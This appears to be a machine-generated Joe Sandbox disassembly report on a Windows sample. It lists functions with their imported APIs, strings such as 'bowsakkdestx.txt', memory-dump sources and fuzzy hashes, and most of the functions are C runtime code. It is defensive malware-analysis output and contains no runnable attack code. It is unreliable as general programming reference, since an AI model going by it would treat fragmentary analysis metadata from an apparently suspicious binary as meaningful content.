Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 51f3b6780f99ff9280d11a574224a0545b3f3f91ba14ae5f2835a3b6c847f155
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 51f3b6780f99ff9280d11a574224a0545b3f3f91ba14ae5f2835a3b6c847f155
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A87, 00422A9F, 00422A3A, 00422A44, 00422AB8

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 21d21782e97fe4f013f40703461987fd41669ee223f1d72e9ec0c1aa795b8399
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 21d21782e97fe4f013f40703461987fd41669ee223f1d72e9ec0c1aa795b8399
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
